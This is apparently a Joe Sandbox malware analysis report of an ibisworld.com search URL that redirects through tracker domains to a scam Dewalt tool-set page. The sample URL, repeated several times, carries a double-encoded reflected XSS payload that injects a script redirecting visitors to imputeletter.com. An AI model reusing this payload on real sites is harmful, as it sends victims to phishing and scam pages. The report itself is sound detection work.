Edit tour

Windows Analysis Report
https://www.ibisworld.com//search///default.aspx?st=%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%37%37%25%36%39%25%36%45%25%36%34%25%36%46%25%37%37%25%35%42%25%32%37%25%36%43%25%36%46%25%36%33%25%36%31%25%37%34%25%36%39%25%36%46%25%36%45%25%32%37%25%3

Overview

General Information

Sample URL:	https://www.ibisworld.com//search///default.aspx?st=%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%37%37%25%36%39%25%36%45%25%36%34%25%36%46%25%37%37%25%
Analysis ID:	1437716
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Yara detected Phisher

Multimodal LLM detected phishing page

HTML body contains low number of good links

HTML title does not match URL

Stores files to the Windows start menu directory

Suspicious form URL found

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 7136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.ibisworld.com//search///default.aspx?st=%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%37%37%25%36%39%25%36%45%25%36%34%25%36%46%25%37%37%25%35%42%25%32%37%25%36%43%25%36%46%25%36%33%25%36%31%25%37%34%25%36%39%25%36%46%25%36%45%25%32%37%25%35%44%25%35%42%25%32%37%25%37%32%25%36%35%25%37%30%25%36%43%25%36%31%25%36%33%25%36%35%25%32%37%25%35%44%25%32%38%25%35%42%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%41%25%32%46%25%32%46%25%36%39%25%36%44%25%37%30%25%37%35%25%37%34%25%36%35%25%36%43%25%36%35%25%37%34%25%37%34%25%36%35%25%37%32%25%32%45%25%36%33%25%36%46%25%36%44%25%32%46%25%33%30%25%32%46%25%33%30%25%32%46%25%33%30%25%32%46%25%33%33%25%33%33%25%33%35%25%36%35%25%33%31%25%33%30%25%33%34%25%33%38%25%36%34%25%33%30%25%33%33%25%33%39%25%36%33%25%33%37%25%33%31%25%33%35%25%36%31%25%33%33%25%36%32%25%33%38%25%33%32%25%33%37%25%33%39%25%33%32%25%36%35%25%33%32%25%33%31%25%33%32%25%33%37%25%36%31%25%36%31%25%36%34%25%32%37%25%32%43%25%32%37%25%32%46%25%32%37%25%32%43%25%32%3713%25%32%46139%25%32%448761%25%32%46964%25%32%4418418%25%32%4415995%25%32%37%25%35%44%25%35%42%25%32%37%25%36%41%25%36%46%25%36%39%25%36%45%25%32%37%25%35%44%25%32%38%25%32%37%25%32%37%25%32%39%25%32%39%25%32%43%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%35%42%25%32%37%25%36%32%25%36%46%25%36%34%25%37%39%25%32%37%25%35%44%25%35%42%25%32%37%25%37%33%25%37%34%25%37%39%25%36%43%25%36%35%25%32%37%25%35%44%25%35%42%25%32%37%25%36%46%25%37%30%25%36%31%25%36%33%25%36%39%25%37%34%25%37%39%25%32%37%25%35%44%25%33%44%25%33%30%25%37%38%25%33%30%25%33%42%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%32%30 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6364 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1860,i,8896414635319004165,15107896085658579415,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_193	JoeSecurity_Phisher_2	Yara detected Phisher	Joe Security
dropped/chromecache_215	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match

File source: dropped/chromecache_215, type: DROPPED

Yara detected Phisher

Source: Yara match

File source: dropped/chromecache_193, type: DROPPED

Multimodal LLM detected phishing page

Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48

LLM: Score: 7 brands: Dewalt Reasons: The URL 'https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48' contains several red flags typical of phishing sites, including a complex and suspicious query string and an unfamiliar domain name that does not match the official Dewalt domain. The image shows a form requesting personal information, which is a common phishing tactic. The use of urgency ('This offer expires in') and limited stock indicators are social engineering techniques designed to rush the user into making a decision. The security badges displayed are often misused by phishing sites to create a false sense of security.

Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: Form action: ajax.php?method=new_prospect
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: Form action: ajax.php?method=new_prospect
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: Form action: ajax.php?method=new_prospect
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: Form action: ajax.php?method=new_prospect
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: Form action: ajax.php?method=new_prospect

Source: https://qwartiqpin.online/18caf37202bc2f9e1f8ae9200756c7ac	HTTP Parser: No favicon
Source: https://qwartiqpin.online/18caf37202bc2f9e1f8ae9200756c7ac	HTTP Parser: No favicon
Source: https://qwartiqpin.online/18caf37202bc2f9e1f8ae9200756c7ac	HTTP Parser: No favicon
Source: https://qwartiqpin.online/18caf37202bc2f9e1f8ae9200756c7ac	HTTP Parser: No favicon

Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="author".. found
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="author".. found
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="author".. found
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="author".. found
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="author".. found

Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="copyright".. found
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="copyright".. found
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="copyright".. found
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="copyright".. found
Source: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 104.118.8.139:443 -> 192.168.2.16:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.118.8.139:443 -> 192.168.2.16:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49897 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.70.121.146
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.118.8.139
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157

Source: global traffic	DNS traffic detected: DNS query: www.ibisworld.com
Source: global traffic	DNS traffic detected: DNS query: secure.detailsinventivegroup.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdn-cookieyes.com
Source: global traffic	DNS traffic detected: DNS query: s4wemepl3v-dsn.algolia.net
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: log.cookieyes.com
Source: global traffic	DNS traffic detected: DNS query: imputeletter.com
Source: global traffic	DNS traffic detected: DNS query: snap.licdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.matomo.cloud
Source: global traffic	DNS traffic detected: DNS query: px.ads.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: qwartiqpin.online
Source: global traffic	DNS traffic detected: DNS query: trk-adulvion.com
Source: global traffic	DNS traffic detected: DNS query: trk-amropode.com
Source: global traffic	DNS traffic detected: DNS query: event.trk-adulvion.com
Source: global traffic	DNS traffic detected: DNS query: unisonroad.com
Source: global traffic	DNS traffic detected: DNS query: subscription.trk-adulvion.com
Source: global traffic	DNS traffic detected: DNS query: api.taboola.com
Source: global traffic	DNS traffic detected: DNS query: jadesglow.com
Source: global traffic	DNS traffic detected: DNS query: www.nrj1hs34m.com
Source: global traffic	DNS traffic detected: DNS query: www.electronixmaster.com
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: extension.trk-amropode.com
Source: global traffic	DNS traffic detected: DNS query: notification.trk-amropode.com
Source: global traffic	DNS traffic detected: DNS query: sc.ec424.com
Source: global traffic	DNS traffic detected: DNS query: pushclk.com
Source: global traffic	DNS traffic detected: DNS query: cdn4image.com
Source: global traffic	DNS traffic detected: DNS query: go-g3t-msg.com
Source: global traffic	DNS traffic detected: DNS query: br.xn846.com

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.ibisworld.com//search///default.aspx?st=%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%37%37%25%36%39%25%36%45%25%36%34%25%36%46%25%37%37%25%35%42%25%32%37%25%36%43%25%36%46%25%36%33%25%36%31%25%37%34%25%36%39%25%36%46%25%36%45%25%32%37%25%35%44%25%35%42%25%32%37%25%37%32%25%36%35%25%37%30%25%36%43%25%36%31%25%36%33%25%36%35%25%32%37%25%35%44%25%32%38%25%35%42%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%41%25%32%46%25%32%46%25%36%39%25%36%44%25%37%30%25%37%35%25%37%34%25%36%35%25%36%43%25%36%35%25%37%34%25%37%34%25%36%35%25%37%32%25%32%45%25%36%33%25%36%46%25%36%44%25%32%46%25%33%30%25%32%46%25%33%30%25%32%46%25%33%30%25%32%46%25%33%33%25%33%33%25%33%35%25%36%35%25%33%31%25%33%30%25%33%34%25%33%38%25%36%34%25%33%30%25%33%33%25%33%39%25%36%33%25%33%37%25%33%31%25%33%35%25%36%31%25%33%33%25%36%32%25%33%38%25%33%32%25%33%37%25%33%39%25%33%32%25%36%35%25%33%32%25%33%31%25%33%32%25%33%37%25%36%31%25%36%31%25%36%34%25%32%37%25%32%43%25%32%37%25%32%46%25%32%37%25%32%43%25%32%3713%25%32%46139%25%32%448761%25%32%46964%25%32%4418418%25%32%4415995%25%32%37%25%35%44%25%35%42%25%32%37%25%36%41%25%36%46%25%36%39%25%36%45%25%32%37%25%35%44%25%32%38%25%32%37%25%32%37%25%32%39%25%32%39%25%32%43%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%35%42%25%32%37%25%36%32%25%36%46%25%36%34%25%37%39%25%32%37%25%35%44%25%35%42%25%32%37%25%37%33%25%37%34%25%37%39%25%36%43%25%36%35%25%32%37%25%35%44%25%35%42%25%32%37%25%36%46%25%37%30%25%36%31%25%36%33%25%36%39%25%37%34%25%37%39%25%32%37%25%35%44%25%33%44%25%33%30%25%37%38%25%33%30%25%33%42%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%32%30
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1860,i,8896414635319004165,15107896085658579415,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1860,i,8896414635319004165,15107896085658579415,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
49.12.134.254	go-g3t-msg.com	Germany	24940	HETZNER-ASDE	false
54.149.238.59	unknown	United States	16509	AMAZON-02US	false
172.67.205.30	trk-amropode.com	United States	13335	CLOUDFLARENETUS	false
44.242.83.217	alb-retail-us-1014447198.us-west-2.elb.amazonaws.com	United States	16509	AMAZON-02US	false
104.22.65.78	sc.ec424.com	United States	13335	CLOUDFLARENETUS	false
142.250.176.206	android.l.google.com	United States	15169	GOOGLEUS	false
185.147.127.178	imputeletter.com	Russian Federation	20655	E-STYLEISP-ASRU	false
52.214.78.235	log.cookieyes.com	United States	16509	AMAZON-02US	false
142.251.40.168	unknown	United States	15169	GOOGLEUS	false
142.250.64.99	unknown	United States	15169	GOOGLEUS	false
142.251.40.131	unknown	United States	15169	GOOGLEUS	false
46.229.160.76	br.geo.xn846.com	Netherlands	39572	ADVANCEDHOSTERS-ASNL	false
142.251.32.106	unknown	United States	15169	GOOGLEUS	false
157.90.1.66	cdn4image.com	United States	766	REDIRISRedIRISAutonomousSystemES	false
172.67.20.8	cdn-cookieyes.com	United States	13335	CLOUDFLARENETUS	false
167.71.30.39	unisonroad.com	United States	14061	DIGITALOCEAN-ASNUS	false
108.138.106.116	cdn.matomo.cloud	United States	16509	AMAZON-02US	false
172.67.177.226	subscription.trk-adulvion.com	United States	13335	CLOUDFLARENETUS	false
23.221.239.209	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.165.131	unknown	United States	15169	GOOGLEUS	false
104.21.22.140	extension.trk-amropode.com	United States	13335	CLOUDFLARENETUS	false
151.101.1.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.217.165.138	unknown	United States	15169	GOOGLEUS	false
142.250.80.100	unknown	United States	15169	GOOGLEUS	false
142.251.16.188	mobile-gtalk.l.google.com	United States	15169	GOOGLEUS	false
172.67.171.114	pushclk.com	United States	13335	CLOUDFLARENETUS	false
104.21.61.98	qwartiqpin.online	United States	13335	CLOUDFLARENETUS	false
142.251.40.238	unknown	United States	15169	GOOGLEUS	false
13.107.42.14	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.251.40.142	unknown	United States	15169	GOOGLEUS	false
142.251.167.84	unknown	United States	15169	GOOGLEUS	false
142.250.65.206	unknown	United States	15169	GOOGLEUS	false
151.101.129.44	tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
23.94.102.180	jadesglow.com	United States	36352	AS-COLOCROSSINGUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.65.44	unknown	United States	54113	FASTLYUS	false
104.21.27.152	unknown	United States	13335	CLOUDFLARENETUS	false
52.146.86.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1437716
Start date and time:	2024-05-07 20:40:48 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://www.ibisworld.com//search///default.aspx?st=%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%37%37%25%36%39%25%36%45%25%36%34%25%36%46%25%37%37%25%35%42%25%32%37%25%36%43%25%36%46%25%36%33%25%36%31%25%37%34%25%36%39%25%36%46%25%36%45%25%32%37%25%35%44%25%35%42%25%32%37%25%37%32%25%36%35%25%37%30%25%36%43%25%36%31%25%36%33%25%36%35%25%32%37%25%35%44%25%32%38%25%35%42%25%32%37%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%41%25%32%46%25%32%46%25%36%39%25%36%44%25%37%30%25%37%35%25%37%34%25%36%35%25%36%43%25%36%35%25%37%34%25%37%34%25%36%35%25%37%32%25%32%45%25%36%33%25%36%46%25%36%44%25%32%46%25%33%30%25%32%46%25%33%30%25%32%46%25%33%30%25%32%46%25%33%33%25%33%33%25%33%35%25%36%35%25%33%31%25%33%30%25%33%34%25%33%38%25%36%34%25%33%30%25%33%33%25%33%39%25%36%33%25%33%37%25%33%31%25%33%35%25%36%31%25%33%33%25%36%32%25%33%38%25%33%32%25%33%37%25%33%39%25%33%32%25%36%35%25%33%32%25%33%31%25%33%32%25%33%37%25%36%31%25%36%31%25%36%34%25%32%37%25%32%43%25%32%37%25%32%46%25%32%37%25%32%43%25%32%3713%25%32%46139%25%32%448761%25%32%46964%25%32%4418418%25%32%4415995%25%32%37%25%35%44%25%35%42%25%32%37%25%36%41%25%36%46%25%36%39%25%36%45%25%32%37%25%35%44%25%32%38%25%32%37%25%32%37%25%32%39%25%32%39%25%32%43%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%35%42%25%32%37%25%36%32%25%36%46%25%36%34%25%37%39%25%32%37%25%35%44%25%35%42%25%32%37%25%37%33%25%37%34%25%37%39%25%36%43%25%36%35%25%32%37%25%35%44%25%35%42%25%32%37%25%36%46%25%37%30%25%36%31%25%36%33%25%36%39%25%37%34%25%37%39%25%32%37%25%35%44%25%33%44%25%33%30%25%37%38%25%33%30%25%33%42%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%32%30
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@18/121@78/389

Input	Output
URL: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	```json { "obfuscated": false, "injections": true, "unpacking": false, "antidebugger": false, "reasons": "The code is not obfuscated as it uses clear variable and function names. It does modify the DOM tree by injecting elements and changing classes, so the 'injections' key is set to true. There is no evidence of code unpacking or anti-debugging techniques in use." } ```"
$('.amountInStock').append(' 5'); setTimeout(function() { $('.amountInStock').empty(); $('.amountInStock').append('<i class="fa fa-exclamation-circle"></i> 4'); $('.stock h3').removeClass('greenText').addClass("orangeText"); $('.stock h3').addClass('bounce-top'); }, 7500); var animatePulsetwo = setInterval(removeBounce, 9000); function removeBounce() { $('.stock h3').removeClass('bounce-top'); } setTimeout(function() { $('.amountInStock').empty(); $('.amountInStock').append('<i class="fa fa-exclamation-circle"></i> 3'); $('.stock h3').removeClass('orangeText').addClass("redText"); $('.stock h3').addClass('bounce-top'); }, 17000);
URL: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	{ "obfuscated": false, "injections": true, "unpacking": false, "antidebugger": false, "reasons": "The code is not obfuscated as it uses clear variable names and follows a readable structure. However, it does modify the DOM tree by injecting content into the 'head', 'top', and 'bottom' sections of the HTML. There is no evidence of unpacking or anti-debugging techniques in the provided code." }"
$(function(){ setTimeout(function(){ $.get("/a/dewalt-tool-set/v1/ajax.php/extensions/checktrafficnew/place", function( data ) { if(data == null) return; if(typeof data == 'string') { data = JSON.parse(data); } data.forEach(function(el) { if(el.type == 'head') { $('head').append(el.content); } if(el.type == 'top') { $('body').prepend(el.content); } if(el.type == 'bottom') { $('body').append(el.content); } }); }); }, 500); });
URL: https://www.electronixmaster.com/a/dewalt-tool-set/v1/?affId=18&c1=&c2=5zQE9PatAsgf&c3=&c4=&click_id=b6a6a7d2a54e469399a7d38f5c174c48	```json { "obfuscated": false, "injections": false, "unpacking": false, "antidebugger": false, "reasons": "The provided code is not obfuscated and does not contain any signs of malicious behavior such as DOM manipulation or code unpacking. It appears to be a configuration object for a web application. However, it is still important to validate the integrity of the code by checking it against a known good version and ensuring that it is served over a secure connection." } ```"
